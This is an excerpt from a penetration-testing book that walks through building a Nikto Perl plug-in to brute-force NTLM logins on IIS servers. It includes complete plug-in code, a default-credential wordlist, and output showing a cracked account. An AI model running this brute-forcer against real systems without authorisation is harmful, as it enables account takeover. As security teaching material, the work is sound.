Writing an NTLM Plug-in for Brute-Force Testing

Brute-forcing is the common attack technique of repeatedly guessing credentials to authenticate to a remote server. Now that we’ve covered the basics of what is available for plug-in developers, it’s time to create an example plug-in that you can use in a real-life network-penetration test scenario.

Installations of Microsoft’s IIS web server are widely deployed. IIS supports two common authentication schemes. The first is Basic authentication, which is a nonencrypted legacy form of authentication to a restricted area (the restricted area is known as a realm). The second is NTLM (NT Lan Man) authentication. NTLM authenticates against existing credentials on the Windows operating system. Our new plug-in, named nikto_ntlm.plugin, guesses credentials against this form of authentication. A possible attack strategy would be to guess NTLM credentials to the domain, and then use these credentials to access another available remote administration—i.e., Terminal Server. The benefit of this strategy is that with NTLM authentication over HTTP you can guess credentials faster than you can with Terminal Server. (In either case it is important to consider account lockout policies.)

First, comment out routines that generate significant traffic. This lets you focus on the specific plug-in when looking through logs and network sniffers during testing. Starting from line 100, our new nikto.pl file that is to be used for plug-in development will look like this:

        dump_target_info( );
        #check_responses( );
        run_plugins( );
        #check_cgi( );
        #set_scan_items( );

        #test_target( );

Our new nikto_plugin_order.txt file for plug-in development will look like this:

#VERSION,1.04
#LASTMOD,05.27.2003
# run the plug-ins in the following order

nikto_ntlm

Now we’re ready to code the new plug-in. This plug-in’s algorithm is similar to the one found in the nikto_realms plug-in, so we’ll use this as a model. First, the plug-in should check to see if it’s useful for a particular target. Using fetch automatically fills the LibWhisker request hash with the current target host. Nikto will take care of running the plug-in if the user specifies multiple targets. Note the use of $CLI{root} because this comes into play if the user is using the -root command-line option.

sub nikto_ntlm{
 (my $result, my $CONTENT) = fetch("/$CLI{root}/","GET","");
  if (($result{'www-authenticate'} eq "") ||
      ($result{'www-authenticate'} !~ /^ntlm/i)){
      #we don't do anything for these cases
      return;
  }
  my @CREDS=load_creds("$NIKTO{plugindir}/ntlm.db");

Next, the CREDS array is populated from the results of load_creds( ) , which is defined outside of nikto_ntlm( ). The load_creds( ) routine parses the ntlm.db file and returns an array of arrays containing the credentials that will be used:

sub load_creds{
  my @CREDS;
  my $FILE=shift;
  open(IN,"<$FILE") || die nprint("Can't open $FILE:$!");
  my @contents=<IN>;
  close(IN);

  foreach my $line (@contents) {
    chomp($line);
    if ($line =~ /^\#/) { next; }
    if ($line =~ /\#/) { $line=~s/\#.*$//; $line=~s/\s+$//; }
    if ($line eq "") { next; }
    my @t=parse_csv($line);
    if($#t == 1){
      push(@CREDS,[$t[0],$t[1],undef]);
      nprint("Loaded: $t[0] -- $t[1]","d");
    }elsif($#t == 2){
      push(@CREDS,[@t]);
      nprint("Loaded: $t[2]\\$t[0] -- $t[1]","d");
    }else{
      nprint("Parse error in ntlm.db[".join(",",@t)."]");
    }
  }
  return @CREDS;
}

As you do with other plug-ins, you need an easy way to store and edit the input data for the plug-in, and a typical Nikto database file fits this purpose well. The format for our initial test ntlm.db file is as follows:

#VERSION,1.00
#LASTMOD,07.01.2004
###########################################
# format: <Username>,<Password>,[NT Domain]
###########################################
"admin","admin","TESTDOMAIN"
"administrator","administrator"
"guest","guest"
"test","test"
"testuser","testpass"
"backup","backup"

Now it’s time to code the main loop, which will conduct a dictionary-style attack by iterating through the CREDS array and attempting to authenticate with the values from CREDS until it finds a working set of credentials:

  foreach my $i (0 .. $#CREDS){
    nprint("+ trying $CREDS[$i][0] -- $CREDS[$i][1]","v");
    LW::auth_set_header("NTLM",\%request,$CREDS[$i][0],$CREDS[$i][1]);   # set NTLM auth creds
    LW::http_fixup_request(\%request);
    LW::http_do_request(\%request,\%result); # test auth
    if ($result{'www-authenticate'} eq ""){#found valid credentials
      $VULS++;  #increment nikto's global "vulnerabilities found" counter
      if($CREDS[$i][2]){
        nprint("+ NTLM Auth account found user:$CREDS[$i][2]\\$CREDS[$i][0] pass:$CREDS[$i][1]");
      }else{
        nprint("+ NTLM Auth account found user:$CREDS[$i][0] pass:$CREDS[$i][1]");
      }
      last;
    }
  }#end foreach
  return;
}1;

When finished, save the file as nikto_ntlm.plugin in the plugins/ directory. Now let’s try it out on an example IIS 5.0 server. The output in the following paragraphs is from a server previously scanned with a standard Nikto scan. Nikto reported the “backup” directory as being protected by NTLM authentication. Now try the plug-in using our slightly modified version of Nikto for testing.

C:\tools\nikto_1.32_test>perl nikto.pl -h 10.1.1.12  -root /backup -verbose
-***** SSL support not available (see docs for SSL install instructions) *****
---------------------------------------------------------------------------
- Nikto 1.32/1.19     -     www.cirt.net
V: - Testing open ports for web servers
V: - Checking for HTTP on port 10.1.1.12:80
+ Target IP:       10.1.1.12
+ Target Hostname: 10.1.1.12
+ Target Port:     80
+ Start Time:      Sun Aug 15 21:55:22 2004
---------------------------------------------------------------------------
- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Microsoft-IIS/5.0
V: + trying admin -- admin
V: + trying administrator -- administrator
V: + trying guest -- guest
V: + trying test -- test
V: + trying testuser -- testpass
V: + trying backup -- backup
+ NTLM Auth account found user:backup pass:backup
               
+ 1 host(s) tested

Great! Everything seems to work as expected. To use this plug-in as part of the standard Nikto run, uncomment the lines in nikto.pl and revert the plug-in order file, making sure to leave the line for the new plug-in. The plug-in will run only if NTLM authentication is enabled on the web server because a check was added at the top to verify this before the main brute-forcing routine.

Get Network Security Tools now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.